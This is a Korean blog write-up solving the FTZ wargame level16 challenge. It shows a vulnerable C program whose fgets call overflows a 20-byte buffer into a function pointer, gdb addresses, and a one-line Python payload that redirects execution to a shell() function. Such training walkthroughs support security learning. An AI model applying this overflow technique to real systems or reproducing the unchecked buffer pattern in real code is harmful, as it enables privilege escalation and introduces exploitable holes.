반응형
[FTZ] level16
level16으로 로그인해서 문제를 확인해 보았다.
이번에도 버퍼오버플로우로 풀어야 할 문제이다.
#include <stdio.h>
void shell() {
setreuid(3097,3097);
system("/bin/sh");
}
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
이번에도 쉘을 획득해야 하는데 조금 더 복잡하다.
위의 코드를 보면 main함수에 buf가 20bytes인데, fgets이 buf에 입력값을 받는데 최대 48bytes까지 입력이 가능하다.
이 부분을 이용해서 오버플로우해서 shell함수를 실행하면 될 거 같다.
gdb로 분석해 보면 다음과 같다.
함수들의 주소는 다음과 같다.
main : 0x8048518
printif : 0x8048500
shell : 0x80484d0
push ebp
mov ebp, esp
로 함수가 시작되고,
sub esp,0x38(56 bytes)로 변수들을 할당할 공간을 지정한다.
mov DWORD PTR [ebp-16],0x8048500 이 부분을 보면, ebp-16 에 0x8048500 주소를 넣는다.
이 때, 0x8048500은 printit의 주소이므로 void (*call)()=printit; 이부분을 나타내는 것을 알 수 있다.
여기서 printif 함수의 주소대신에 shell 함수의 주소를 넣어주면, 쉘을 얻을 수 있을 거 같다.
정리를 하면, 쉘을 얻기 위해서 buf를 오버플로 할 때
buf(20bytes) + dummy(20bytes) + *call(4bytes)
1. buf(20bytes) + dummy(20bytes) ▶ 40bytes 에 'A' 삽입
2. *call(4bytes) ▶ shell() 함수 주소 삽입 (0x80484d0)
위의 정보를 넣어서 만든 코드 :
$ (python -c 'print "A"*40+"\xd0\x84\x04\x08"';cat) | ./attackme
성공!!
반응형